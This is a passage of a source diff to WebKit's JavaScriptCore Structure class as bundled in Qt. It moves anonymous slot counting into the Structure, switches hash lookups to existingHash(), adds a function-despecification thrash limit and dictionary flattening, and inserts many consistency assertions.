     ++numCollisions;
 #endif
 
-    unsigned k = 1 | doubleHash(rep->computedHash());
+    unsigned k = 1 | doubleHash(rep->existingHash());
 
     while (1) {
         i += k;
@@ -342,9 +444,11 @@ PassRefPtr<Structure> Structure::addPropertyTransitionToExistingStructure(Struct
     ASSERT(!structure->isDictionary());
     ASSERT(structure->typeInfo().type() == ObjectType);
 
-    if (Structure* existingTransition = structure->table.get(make_pair(propertyName.ustring().rep(), attributes), specificValue)) {
+    if (Structure* existingTransition = structure->transitionTableGet(make_pair(propertyName.ustring().rep(), attributes), specificValue)) {
         ASSERT(existingTransition->m_offset != noOffset);
-        offset = existingTransition->m_offset;
+        offset = existingTransition->m_offset + existingTransition->m_anonymousSlotCount;
+        ASSERT(offset >= structure->m_anonymousSlotCount);
+        ASSERT(structure->m_anonymousSlotCount == existingTransition->m_anonymousSlotCount);
         return existingTransition;
     }
 
@@ -356,17 +460,22 @@ PassRefPtr<Structure> Structure::addPropertyTransition(Structure* structure, con
     ASSERT(!structure->isDictionary());
     ASSERT(structure->typeInfo().type() == ObjectType);
     ASSERT(!Structure::addPropertyTransitionToExistingStructure(structure, propertyName, attributes, specificValue, offset));
+    
+    if (structure->m_specificFunctionThrashCount == maxSpecificFunctionThrashCount)
+        specificValue = 0;
 
     if (structure->transitionCount() > s_maxTransitionLength) {
         RefPtr<Structure> transition = toCacheableDictionaryTransition(structure);
         ASSERT(structure != transition);
         offset = transition->put(propertyName, attributes, specificValue);
+        ASSERT(offset >= structure->m_anonymousSlotCount);
+        ASSERT(structure->m_anonymousSlotCount == transition->m_anonymousSlotCount);
         if (transition->propertyStorageSize() > transition->propertyStorageCapacity())
             transition->growPropertyStorageCapacity();
         return transition.release();
     }
 
-    RefPtr<Structure> transition = create(structure->m_prototype, structure->typeInfo());
+    RefPtr<Structure> transition = create(structure->m_prototype, structure->typeInfo(), structure->anonymousSlotCount());
 
     transition->m_cachedPrototypeChain = structure->m_cachedPrototypeChain;
     transition->m_previous = structure;
@@ -376,6 +485,7 @@ PassRefPtr<Structure> Structure::addPropertyTransition(Structure* structure, con
     transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
     transition->m_hasGetterSetterProperties = structure->m_hasGetterSetterProperties;
     transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
+    transition->m_specificFunctionThrashCount = structure->m_specificFunctionThrashCount;
 
     if (structure->m_propertyTable) {
         if (structure->m_isPinnedPropertyTable)
@@ -392,12 +502,14 @@ PassRefPtr<Structure> Structure::addPropertyTransition(Structure* structure, con
     }
 
     offset = transition->put(propertyName, attributes, specificValue);
+    ASSERT(offset >= structure->m_anonymousSlotCount);
+    ASSERT(structure->m_anonymousSlotCount == transition->m_anonymousSlotCount);
     if (transition->propertyStorageSize() > transition->propertyStorageCapacity())
         transition->growPropertyStorageCapacity();
 
-    transition->m_offset = offset;
-
-    structure->table.add(make_pair(propertyName.ustring().rep(), attributes), transition.get(), specificValue);
+    transition->m_offset = offset - structure->m_anonymousSlotCount;
+    ASSERT(structure->anonymousSlotCount() == transition->anonymousSlotCount());
+    structure->transitionTableAdd(make_pair(propertyName.ustring().rep(), attributes), transition.get(), specificValue);
     return transition.release();
 }
 
@@ -408,34 +520,40 @@ PassRefPtr<Structure> Structure::removePropertyTransition(Structure* structure,
     RefPtr<Structure> transition = toUncacheableDictionaryTransition(structure);
 
     offset = transition->remove(propertyName);
+    ASSERT(offset >= structure->m_anonymousSlotCount);
+    ASSERT(structure->m_anonymousSlotCount == transition->m_anonymousSlotCount);
 
     return transition.release();
 }
 
 PassRefPtr<Structure> Structure::changePrototypeTransition(Structure* structure, JSValue prototype)
 {
-    RefPtr<Structure> transition = create(prototype, structure->typeInfo());
+    RefPtr<Structure> transition = create(prototype, structure->typeInfo(), structure->anonymousSlotCount());
 
     transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
     transition->m_hasGetterSetterProperties = structure->m_hasGetterSetterProperties;
     transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
+    transition->m_specificFunctionThrashCount = structure->m_specificFunctionThrashCount;
 
     // Don't set m_offset, as one can not transition to this.
 
     structure->materializePropertyMapIfNecessary();
     transition->m_propertyTable = structure->copyPropertyTable();
     transition->m_isPinnedPropertyTable = true;
-
+    
+    ASSERT(structure->anonymousSlotCount() == transition->anonymousSlotCount());
     return transition.release();
 }
 
 PassRefPtr<Structure> Structure::despecifyFunctionTransition(Structure* structure, const Identifier& replaceFunction)
 {
-    RefPtr<Structure> transition = create(structure->storedPrototype(), structure->typeInfo());
+    ASSERT(structure->m_specificFunctionThrashCount < maxSpecificFunctionThrashCount);
+    RefPtr<Structure> transition = create(structure->storedPrototype(), structure->typeInfo(), structure->anonymousSlotCount());
 
     transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
     transition->m_hasGetterSetterProperties = structure->m_hasGetterSetterProperties;
     transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
+    transition->m_specificFunctionThrashCount = structure->m_specificFunctionThrashCount + 1;
 
     // Don't set m_offset, as one can not transition to this.
 
@@ -443,67 +561,32 @@ PassRefPtr<Structure> Structure::despecifyFunctionTransition(Structure* structur
     transition->m_propertyTable = structure->copyPropertyTable();
     transition->m_isPinnedPropertyTable = true;
 
-    bool removed = transition->despecifyFunction(replaceFunction);
-    ASSERT_UNUSED(removed, removed);
-
-    return transition.release();
-}
-
-PassRefPtr<Structure> Structure::addAnonymousSlotsTransition(Structure* structure, unsigned count)
-{
-    if (Structure* transition = structure->table.getAnonymousSlotTransition(count)) {
-        ASSERT(transition->storedPrototype() == structure->storedPrototype());
-        return transition;
+    if (transition->m_specificFunctionThrashCount == maxSpecificFunctionThrashCount)
+        transition->despecifyAllFunctions();
+    else {
+        bool removed = transition->despecifyFunction(replaceFunction);
+        ASSERT_UNUSED(removed, removed);
     }
-    ASSERT(count);
-    ASSERT(count < ((1<<6) - 2));
-    RefPtr<Structure> transition = create(structure->m_prototype, structure->typeInfo());
     
-    transition->m_cachedPrototypeChain = structure->m_cachedPrototypeChain;
-    transition->m_previous = structure;
-    transition->m_nameInPrevious = 0;
-    transition->m_attributesInPrevious = 0;
-    transition->m_anonymousSlotsInPrevious = count;
-    transition->m_specificValueInPrevious = 0;
-    transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
-    transition->m_hasGetterSetterProperties = structure->m_hasGetterSetterProperties;
-    transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
-
-    if (structure->m_propertyTable) {
-        if (structure->m_isPinnedPropertyTable)
-            transition->m_propertyTable = structure->copyPropertyTable();
-        else {
-            transition->m_propertyTable = structure->m_propertyTable;
-            structure->m_propertyTable = 0;
-        }
-    } else {
-        if (structure->m_previous)
-            transition->materializePropertyMap();
-        else
-            transition->createPropertyMapHashTable();
-    }
-
-    transition->addAnonymousSlots(count);
-    if (transition->propertyStorageSize() > transition->propertyStorageCapacity())
-        transition->growPropertyStorageCapacity();
-
-    structure->table.addAnonymousSlotTransition(count, transition.get());
-    return transition.release();    
+    ASSERT(structure->anonymousSlotCount() == transition->anonymousSlotCount());
+    return transition.release();
 }
 
 PassRefPtr<Structure> Structure::getterSetterTransition(Structure* structure)
 {
-    RefPtr<Structure> transition = create(structure->storedPrototype(), structure->typeInfo());
+    RefPtr<Structure> transition = create(structure->storedPrototype(), structure->typeInfo(), structure->anonymousSlotCount());
     transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
     transition->m_hasGetterSetterProperties = transition->m_hasGetterSetterProperties;
     transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
+    transition->m_specificFunctionThrashCount = structure->m_specificFunctionThrashCount;
 
     // Don't set m_offset, as one can not transition to this.
 
     structure->materializePropertyMapIfNecessary();
     transition->m_propertyTable = structure->copyPropertyTable();
     transition->m_isPinnedPropertyTable = true;
-
+    
+    ASSERT(structure->anonymousSlotCount() == transition->anonymousSlotCount());
     return transition.release();
 }
 
@@ -511,16 +594,18 @@ PassRefPtr<Structure> Structure::toDictionaryTransition(Structure* structure, Di
 {
     ASSERT(!structure->isUncacheableDictionary());
     
-    RefPtr<Structure> transition = create(structure->m_prototype, structure->typeInfo());
+    RefPtr<Structure> transition = create(structure->m_prototype, structure->typeInfo(), structure->anonymousSlotCount());
     transition->m_dictionaryKind = kind;
     transition->m_propertyStorageCapacity = structure->m_propertyStorageCapacity;
     transition->m_hasGetterSetterProperties = structure->m_hasGetterSetterProperties;
     transition->m_hasNonEnumerableProperties = structure->m_hasNonEnumerableProperties;
+    transition->m_specificFunctionThrashCount = structure->m_specificFunctionThrashCount;
     
     structure->materializePropertyMapIfNecessary();
     transition->m_propertyTable = structure->copyPropertyTable();
     transition->m_isPinnedPropertyTable = true;
     
+    ASSERT(structure->anonymousSlotCount() == transition->anonymousSlotCount());
     return transition.release();
 }
 
@@ -534,32 +619,62 @@ PassRefPtr<Structure> Structure::toUncacheableDictionaryTransition(Structure* st
     return toDictionaryTransition(structure, UncachedDictionaryKind);
 }
 
-PassRefPtr<Structure> Structure::fromDictionaryTransition(Structure* structure)
+PassRefPtr<Structure> Structure::flattenDictionaryStructure(JSObject* object)
 {
-    ASSERT(structure->isDictionary());
-
-    // Since dictionary Structures are not shared, and no opcodes specialize
-    // for them, we don't need to allocate a new Structure when transitioning
-    // to non-dictionary status.
-
-    // FIMXE: We can make this more efficient by canonicalizing the Structure (draining the
-    // deleted offsets vector) before transitioning from dictionary. 
-    if (!structure->m_propertyTable || !structure->m_propertyTable->deletedOffsets || structure->m_propertyTable->deletedOffsets->isEmpty())
-        structure->m_dictionaryKind = NoneDictionaryKind;
+    ASSERT(isDictionary());
+    if (isUncacheableDictionary()) {
+        ASSERT(m_propertyTable);
+        Vector<PropertyMapEntry*> sortedPropertyEntries(m_propertyTable->keyCount);
+        PropertyMapEntry** p = sortedPropertyEntries.data();
+        unsigned entryCount = m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount;
+        for (unsigned i = 1; i <= entryCount; i++) {
+            if (m_propertyTable->entries()[i].key)
+                *p++ = &m_propertyTable->entries()[i];
+        }
+        size_t propertyCount = p - sortedPropertyEntries.data();
+        qsort(sortedPropertyEntries.data(), propertyCount, sizeof(PropertyMapEntry*), comparePropertyMapEntryIndices);
+        sortedPropertyEntries.resize(propertyCount);
+
+        // We now have the properties currently defined on this object
+        // in the order that they are expected to be in, but we need to
+        // reorder the storage, so we have to copy the current values out
+        Vector<JSValue> values(propertyCount);
+        unsigned anonymousSlotCount = m_anonymousSlotCount;
+        for (unsigned i = 0; i < propertyCount; i++) {
+            PropertyMapEntry* entry = sortedPropertyEntries[i];
+            values[i] = object->getDirectOffset(entry->offset);
+            // Update property table to have the new property offsets
+            entry->offset = anonymousSlotCount + i;
+            entry->index = i;
+        }
+        
+        // Copy the original property values into their final locations
+        for (unsigned i = 0; i < propertyCount; i++)
+            object->putDirectOffset(anonymousSlotCount + i, values[i]);
+
+        if (m_propertyTable->deletedOffsets) {
+            delete m_propertyTable->deletedOffsets;
+            m_propertyTable->deletedOffsets = 0;
+        }
+    }
 
-    return structure;
+    m_dictionaryKind = NoneDictionaryKind;
+    return this;
 }
 
 size_t Structure::addPropertyWithoutTransition(const Identifier& propertyName, unsigned attributes, JSCell* specificValue)
 {
     ASSERT(!m_enumerationCache);
+
+    if (m_specificFunctionThrashCount == maxSpecificFunctionThrashCount)
+        specificValue = 0;
+
     materializePropertyMapIfNecessary();
 
     m_isPinnedPropertyTable = true;
-    if (attributes & DontEnum)
-        m_hasNonEnumerableProperties = true;
 
     size_t offset = put(propertyName, attributes, specificValue);
+    ASSERT(offset >= m_anonymousSlotCount);
     if (propertyStorageSize() > propertyStorageCapacity())
         growPropertyStorageCapacity();
     return offset;
@@ -574,6 +689,7 @@ size_t Structure::removePropertyWithoutTransition(const Identifier& propertyName
 
     m_isPinnedPropertyTable = true;
     size_t offset = remove(propertyName);
+    ASSERT(offset >= m_anonymousSlotCount);
     return offset;
 }
 
@@ -630,7 +746,6 @@ PropertyMapHashTable* Structure::copyPropertyTable()
     if (m_propertyTable->deletedOffsets)
         newTable->deletedOffsets = new Vector<unsigned>(*m_propertyTable->deletedOffsets);
 
-    newTable->anonymousSlotCount = m_propertyTable->anonymousSlotCount;
     return newTable;
 }
 
@@ -640,7 +755,7 @@ size_t Structure::get(const UString::Rep* rep, unsigned& attributes, JSCell*& sp
     if (!m_propertyTable)
         return notFound;
 
-    unsigned i = rep->computedHash();
+    unsigned i = rep->existingHash();
 
 #if DUMP_PROPERTYMAP_STATS
     ++numProbes;
@@ -653,6 +768,7 @@ size_t Structure::get(const UString::Rep* rep, unsigned& attributes, JSCell*& sp
     if (rep == m_propertyTable->entries()[entryIndex - 1].key) {
         attributes = m_propertyTable->entries()[entryIndex - 1].attributes;
         specificValue = m_propertyTable->entries()[entryIndex - 1].specificValue;
+        ASSERT(m_propertyTable->entries()[entryIndex - 1].offset >= m_anonymousSlotCount);
         return m_propertyTable->entries()[entryIndex - 1].offset;
     }
 
@@ -660,7 +776,7 @@ size_t Structure::get(const UString::Rep* rep, unsigned& attributes, JSCell*& sp
     ++numCollisions;
 #endif
 
-    unsigned k = 1 | doubleHash(rep->computedHash());
+    unsigned k = 1 | doubleHash(rep->existingHash());
 
     while (1) {
         i += k;
@@ -676,6 +792,7 @@ size_t Structure::get(const UString::Rep* rep, unsigned& attributes, JSCell*& sp
         if (rep == m_propertyTable->entries()[entryIndex - 1].key) {
             attributes = m_propertyTable->entries()[entryIndex - 1].attributes;
             specificValue = m_propertyTable->entries()[entryIndex - 1].specificValue;
+            ASSERT(m_propertyTable->entries()[entryIndex - 1].offset >= m_anonymousSlotCount);
             return m_propertyTable->entries()[entryIndex - 1].offset;
         }
     }
@@ -691,7 +808,7 @@ bool Structure::despecifyFunction(const Identifier& propertyName)
 
     UString::Rep* rep = propertyName._ustring.rep();
 
-    unsigned i = rep->computedHash();
+    unsigned i = rep->existingHash();
 
 #if DUMP_PROPERTYMAP_STATS
     ++numProbes;
@@ -711,7 +828,7 @@ bool Structure::despecifyFunction(const Identifier& propertyName)
     ++numCollisions;
 #endif
 
-    unsigned k = 1 | doubleHash(rep->computedHash());
+    unsigned k = 1 | doubleHash(rep->existingHash());
 
     while (1) {
         i += k;
@@ -732,6 +849,17 @@ bool Structure::despecifyFunction(const Identifier& propertyName)
     }
 }
 
+void Structure::despecifyAllFunctions()
+{
+    materializePropertyMapIfNecessary();
+    if (!m_propertyTable)
+        return;
+    
+    unsigned entryCount = m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount;
+    for (unsigned i = 1; i <= entryCount; ++i)
+        m_propertyTable->entries()[i].specificValue = 0;
+}
+
 size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCell* specificValue)
 {
     ASSERT(!propertyName.isNull());
@@ -739,6 +867,9 @@ size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCel
 
     checkConsistency();
 
+    if (attributes & DontEnum)
+        m_hasNonEnumerableProperties = true;
+
     UString::Rep* rep = propertyName._ustring.rep();
 
     if (!m_propertyTable)
@@ -746,7 +877,7 @@ size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCel
 
     // FIXME: Consider a fast case for tables with no deleted sentinels.
 
-    unsigned i = rep->computedHash();
+    unsigned i = rep->existingHash();
     unsigned k = 0;
     bool foundDeletedElement = false;
     unsigned deletedElementIndex = 0; // initialize to make the compiler happy
@@ -769,7 +900,7 @@ size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCel
         }
 
         if (k == 0) {
-            k = 1 | doubleHash(rep->computedHash());
+            k = 1 | doubleHash(rep->existingHash());
 #if DUMP_PROPERTYMAP_STATS
             ++numCollisions;
 #endif
@@ -810,9 +941,10 @@ size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCel
         newOffset = m_propertyTable->deletedOffsets->last();
         m_propertyTable->deletedOffsets->removeLast();
     } else
-        newOffset = m_propertyTable->keyCount + m_propertyTable->anonymousSlotCount;
+        newOffset = m_propertyTable->keyCount + m_anonymousSlotCount;
     m_propertyTable->entries()[entryIndex - 1].offset = newOffset;
-
+    
+    ASSERT(newOffset >= m_anonymousSlotCount);
     ++m_propertyTable->keyCount;
 
     if ((m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount) * 2 >= m_propertyTable->size)
@@ -822,14 +954,9 @@ size_t Structure::put(const Identifier& propertyName, unsigned attributes, JSCel
     return newOffset;
 }
 
-void Structure::addAnonymousSlots(unsigned count)
-{
-    m_propertyTable->anonymousSlotCount += count;
-}
-
 bool Structure::hasTransition(UString::Rep* rep, unsigned attributes)
 {
-    return table.hasTransition(make_pair(rep, attributes));
+    return transitionTableHasTransition(make_pair(rep, attributes));
 }
 
 size_t Structure::remove(const Identifier& propertyName)
@@ -849,7 +976,7 @@ size_t Structure::remove(const Identifier& propertyName)
 #endif
 
     // Find the thing to remove.
-    unsigned i = rep->computedHash();
+    unsigned i = rep->existingHash();
     unsigned k = 0;
     unsigned entryIndex;
     UString::Rep* key = 0;
@@ -863,7 +990,7 @@ size_t Structure::remove(const Identifier& propertyName)
             break;
 
         if (k == 0) {
-            k = 1 | doubleHash(rep->computedHash());
+            k = 1 | doubleHash(rep->existingHash());
 #if DUMP_PROPERTYMAP_STATS
             ++numCollisions;
 #endif
@@ -881,6 +1008,7 @@ size_t Structure::remove(const Identifier& propertyName)
     m_propertyTable->entryIndices[i & m_propertyTable->sizeMask] = deletedSentinelIndex;
 
     size_t offset = m_propertyTable->entries()[entryIndex - 1].offset;
+    ASSERT(offset >= m_anonymousSlotCount);
 
     key->deref();
     m_propertyTable->entries()[entryIndex - 1].key = 0;
@@ -906,8 +1034,8 @@ size_t Structure::remove(const Identifier& propertyName)
 void Structure::insertIntoPropertyMapHashTable(const PropertyMapEntry& entry)
 {
     ASSERT(m_propertyTable);
-
-    unsigned i = entry.key->computedHash();
+    ASSERT(entry.offset >= m_anonymousSlotCount);
+    unsigned i = entry.key->existingHash();
     unsigned k = 0;
 
 #if DUMP_PROPERTYMAP_STATS
@@ -920,7 +1048,7 @@ void Structure::insertIntoPropertyMapHashTable(const PropertyMapEntry& entry)
             break;
 
         if (k == 0) {
-            k = 1 | doubleHash(entry.key->computedHash());
+            k = 1 | doubleHash(entry.key->existingHash());
 #if DUMP_PROPERTYMAP_STATS
             ++numCollisions;
 #endif
@@ -985,7 +1113,6 @@ void Structure::rehashPropertyMapHashTable(unsigned newTableSize)
     m_propertyTable = static_cast<PropertyMapHashTable*>(fastZeroedMalloc(PropertyMapHashTable::allocationSize(newTableSize)));
     m_propertyTable->size = newTableSize;
     m_propertyTable->sizeMask = newTableSize - 1;
-    m_propertyTable->anonymousSlotCount = oldTable->anonymousSlotCount;
 
     unsigned lastIndexUsed = 0;
     unsigned entryCount = oldTable->keyCount + oldTable->deletedSentinelCount;
@@ -1003,7 +1130,7 @@ void Structure::rehashPropertyMapHashTable(unsigned newTableSize)
     checkConsistency();
 }
 
-static int comparePropertyMapEntryIndices(const void* a, const void* b)
+int comparePropertyMapEntryIndices(const void* a, const void* b)
 {
     unsigned ia = static_cast<PropertyMapEntry* const*>(a)[0]->index;
     unsigned ib = static_cast<PropertyMapEntry* const*>(b)[0]->index;
@@ -1014,7 +1141,7 @@ static int comparePropertyMapEntryIndices(const void* a, const void* b)
     return 0;
 }
 
-void Structure::getEnumerablePropertyNames(PropertyNameArray& propertyNames)
+void Structure::getPropertyNames(PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     materializePropertyMapIfNecessary();
     if (!m_propertyTable)
@@ -1025,7 +1152,8 @@ void Structure::getEnumerablePropertyNames(PropertyNameArray& propertyNames)
         int i = 0;
         unsigned entryCount = m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount;
         for (unsigned k = 1; k <= entryCount; k++) {
-            if (m_propertyTable->entries()[k].key && !(m_propertyTable->entries()[k].attributes & DontEnum)) {
+            ASSERT(m_hasNonEnumerableProperties || !(m_propertyTable->entries()[k].attributes & DontEnum));
+            if (m_propertyTable->entries()[k].key && (!(m_propertyTable->entries()[k].attributes & DontEnum) || (mode == IncludeDontEnumProperties))) {
                 PropertyMapEntry* value = &m_propertyTable->entries()[k];
                 int j;
                 for (j = i - 1; j >= 0 && a[j]->index > value->index; --j)
@@ -1052,7 +1180,7 @@ void Structure::getEnumerablePropertyNames(PropertyNameArray& propertyNames)
     PropertyMapEntry** p = sortedEnumerables.data();
     unsigned entryCount = m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount;
     for (unsigned i = 1; i <= entryCount; i++) {
-        if (m_propertyTable->entries()[i].key && !(m_propertyTable->entries()[i].attributes & DontEnum))
+        if (m_propertyTable->entries()[i].key && (!(m_propertyTable->entries()[i].attributes & DontEnum) || (mode == IncludeDontEnumProperties)))
             *p++ = &m_propertyTable->entries()[i];
     }
 
@@ -1112,11 +1240,13 @@ void Structure::checkConsistency()
 
     unsigned nonEmptyEntryCount = 0;
     for (unsigned c = 1; c <= m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount; ++c) {
+        ASSERT(m_hasNonEnumerableProperties || !(m_propertyTable->entries()[c].attributes & DontEnum));
         UString::Rep* rep = m_propertyTable->entries()[c].key;
+        ASSERT(m_propertyTable->entries()[c].offset >= m_anonymousSlotCount);
         if (!rep)
             continue;
         ++nonEmptyEntryCount;
-        unsigned i = rep->computedHash();
+        unsigned i = rep->existingHash();
         unsigned k = 0;
         unsigned entryIndex;
         while (1) {
@@ -1125,7 +1255,7 @@ void Structure::checkConsistency()
             if (rep == m_propertyTable->entries()[entryIndex - 1].key)
                 break;
             if (k == 0)
-                k = 1 | doubleHash(rep->computedHash());
+                k = 1 | doubleHash(rep->existingHash());
             i += k;
         }
         ASSERT(entryIndex == c + 1);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.h
index f355c53..968443a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.h
@@ -36,6 +36,7 @@
 #include "StructureTransitionTable.h"
 #include "JSTypeInfo.h"
 #include "UString.h"
+#include "WeakGCPtr.h"
 #include <wtf/PassRefPtr.h>
 #include <wtf/RefCounted.h>
 
@@ -51,13 +52,18 @@ namespace JSC {
     class PropertyNameArray;
     class PropertyNameArrayData;
 
+    enum EnumerationMode {
+        ExcludeDontEnumProperties,
+        IncludeDontEnumProperties
+    };
+
     class Structure : public RefCounted<Structure> {
     public:
         friend class JIT;
         friend class StructureTransitionTable;
-        static PassRefPtr<Structure> create(JSValue prototype, const TypeInfo& typeInfo)
+        static PassRefPtr<Structure> create(JSValue prototype, const TypeInfo& typeInfo, unsigned anonymousSlotCount)
         {
-            return adoptRef(new Structure(prototype, typeInfo));
+            return adoptRef(new Structure(prototype, typeInfo, anonymousSlotCount));
         }
 
         static void startIgnoringLeaks();
@@ -70,11 +76,11 @@ namespace JSC {
         static PassRefPtr<Structure> removePropertyTransition(Structure*, const Identifier& propertyName, size_t& offset);
         static PassRefPtr<Structure> changePrototypeTransition(Structure*, JSValue prototype);
         static PassRefPtr<Structure> despecifyFunctionTransition(Structure*, const Identifier&);
-        static PassRefPtr<Structure> addAnonymousSlotsTransition(Structure*, unsigned count);
         static PassRefPtr<Structure> getterSetterTransition(Structure*);
         static PassRefPtr<Structure> toCacheableDictionaryTransition(Structure*);
         static PassRefPtr<Structure> toUncacheableDictionaryTransition(Structure*);
-        static PassRefPtr<Structure> fromDictionaryTransition(Structure*);
+
+        PassRefPtr<Structure> flattenDictionaryStructure(JSObject*);
 
         ~Structure();
 
@@ -96,7 +102,7 @@ namespace JSC {
 
         void growPropertyStorageCapacity();
         unsigned propertyStorageCapacity() const { return m_propertyStorageCapacity; }
-        unsigned propertyStorageSize() const { return m_propertyTable ? m_propertyTable->keyCount + m_propertyTable->anonymousSlotCount + (m_propertyTable->deletedOffsets ? m_propertyTable->deletedOffsets->size() : 0) : m_offset + 1; }
+        unsigned propertyStorageSize() const { return m_anonymousSlotCount + (m_propertyTable ? m_propertyTable->keyCount + (m_propertyTable->deletedOffsets ? m_propertyTable->deletedOffsets->size() : 0) : static_cast<unsigned>(m_offset + 1)); }
         bool isUsingInlineStorage() const;
 
         size_t get(const Identifier& propertyName);
@@ -121,19 +127,22 @@ namespace JSC {
 
         bool hasNonEnumerableProperties() const { return m_hasNonEnumerableProperties; }
 
-        bool hasAnonymousSlots() const { return m_propertyTable && m_propertyTable->anonymousSlotCount; }
+        bool hasAnonymousSlots() const { return !!m_anonymousSlotCount; }
+        unsigned anonymousSlotCount() const { return m_anonymousSlotCount; }
         
         bool isEmpty() const { return m_propertyTable ? !m_propertyTable->keyCount : m_offset == noOffset; }
 
-        JSCell* specificValue() { return m_specificValueInPrevious; }
         void despecifyDictionaryFunction(const Identifier& propertyName);
+        void disableSpecificFunctionTracking() { m_specificFunctionThrashCount = maxSpecificFunctionThrashCount; }
 
         void setEnumerationCache(JSPropertyNameIterator* enumerationCache); // Defined in JSPropertyNameIterator.h.
-        JSPropertyNameIterator* enumerationCache() { return m_enumerationCache.get(); }
-        void getEnumerablePropertyNames(PropertyNameArray&);
-
+        void clearEnumerationCache(JSPropertyNameIterator* enumerationCache); // Defined in JSPropertyNameIterator.h.
+        JSPropertyNameIterator* enumerationCache(); // Defined in JSPropertyNameIterator.h.
+        void getPropertyNames(PropertyNameArray&, EnumerationMode mode);
+        
     private:
-        Structure(JSValue prototype, const TypeInfo&);
+
+        Structure(JSValue prototype, const TypeInfo&, unsigned anonymousSlotCount);
         
         typedef enum { 
             NoneDictionaryKind = 0,
@@ -144,7 +153,6 @@ namespace JSC {
 
         size_t put(const Identifier& propertyName, unsigned attributes, JSCell* specificValue);
         size_t remove(const Identifier& propertyName);
-        void addAnonymousSlots(unsigned slotCount);
 
         void expandPropertyMapHashTable();
         void rehashPropertyMapHashTable();
@@ -155,6 +163,7 @@ namespace JSC {
         void checkConsistency();
 
         bool despecifyFunction(const Identifier&);
+        void despecifyAllFunctions();
 
         PropertyMapHashTable* copyPropertyTable();
         void materializePropertyMap();
@@ -170,6 +179,20 @@ namespace JSC {
             // Since the number of transitions is always the same as m_offset, we keep the size of Structure down by not storing both.
             return m_offset == noOffset ? 0 : m_offset + 1;
         }
+
+        typedef std::pair<Structure*, Structure*> Transition;
+        typedef HashMap<StructureTransitionTableHash::Key, Transition, StructureTransitionTableHash, StructureTransitionTableHashTraits> TransitionTable;
+
+        inline bool transitionTableContains(const StructureTransitionTableHash::Key& key, JSCell* specificValue);
+        inline void transitionTableRemove(const StructureTransitionTableHash::Key& key, JSCell* specificValue);
+        inline void transitionTableAdd(const StructureTransitionTableHash::Key& key, Structure* structure, JSCell* specificValue);
+        inline bool transitionTableHasTransition(const StructureTransitionTableHash::Key& key) const;
+        inline Structure* transitionTableGet(const StructureTransitionTableHash::Key& key, JSCell* specificValue) const;
+
+        TransitionTable* transitionTable() const { ASSERT(!m_isUsingSingleSlot); return m_transitions.m_table; }
+        inline void setTransitionTable(TransitionTable* table);
+        Structure* singleTransition() const { ASSERT(m_isUsingSingleSlot); return m_transitions.m_singleTransition; }
+        void setSingleTransition(Structure* structure) { ASSERT(m_isUsingSingleSlot); m_transitions.m_singleTransition = structure; }
         
         bool isValid(ExecState*, StructureChain* cachedPrototypeChain) const;
 
@@ -179,6 +202,8 @@ namespace JSC {
 
         static const signed char noOffset = -1;
 
+        static const unsigned maxSpecificFunctionThrashCount = 3;
+
         TypeInfo m_typeInfo;
 
         JSValue m_prototype;
@@ -188,13 +213,19 @@ namespace JSC {
         RefPtr<UString::Rep> m_nameInPrevious;
         JSCell* m_specificValueInPrevious;
 
-        StructureTransitionTable table;
+        // 'm_isUsingSingleSlot' indicates whether we are using the single transition optimisation.
+        union {
+            TransitionTable* m_table;
+            Structure* m_singleTransition;
+        } m_transitions;
 
-        ProtectedPtr<JSPropertyNameIterator> m_enumerationCache;
+        WeakGCPtr<JSPropertyNameIterator> m_enumerationCache;
 
         PropertyMapHashTable* m_propertyTable;
 
         uint32_t m_propertyStorageCapacity;
+
+        // m_offset does not account for anonymous slots
         signed char m_offset;
 
         unsigned m_dictionaryKind : 2;
@@ -209,7 +240,10 @@ namespace JSC {
 #else
         unsigned m_attributesInPrevious : 7;
 #endif
-        unsigned m_anonymousSlotsInPrevious : 6;
+        unsigned m_specificFunctionThrashCount : 2;
+        unsigned m_anonymousSlotCount : 5;
+        unsigned m_isUsingSingleSlot : 1;
+        // 4 free bits
     };
 
     inline size_t Structure::get(const Identifier& propertyName)
@@ -222,7 +256,7 @@ namespace JSC {
 
         UString::Rep* rep = propertyName._ustring.rep();
 
-        unsigned i = rep->computedHash();
+        unsigned i = rep->existingHash();
 
 #if DUMP_PROPERTYMAP_STATS
         ++numProbes;
@@ -239,7 +273,7 @@ namespace JSC {
         ++numCollisions;
 #endif
 
-        unsigned k = 1 | WTF::doubleHash(rep->computedHash());
+        unsigned k = 1 | WTF::doubleHash(rep->existingHash());
 
         while (1) {
             i += k;
@@ -256,58 +290,7 @@ namespace JSC {
                 return m_propertyTable->entries()[entryIndex - 1].offset;
         }
     }
-    
-    bool StructureTransitionTable::contains(const StructureTransitionTableHash::Key& key, JSCell* specificValue)
-    {
-        if (usingSingleTransitionSlot()) {
-            Structure* existingTransition = singleTransition();
-            return existingTransition && existingTransition->m_nameInPrevious.get() == key.first
-                   && existingTransition->m_attributesInPrevious == key.second
-                   && (existingTransition->m_specificValueInPrevious == specificValue || existingTransition->m_specificValueInPrevious == 0);
-        }
-        TransitionTable::iterator find = table()->find(key);
-        if (find == table()->end())
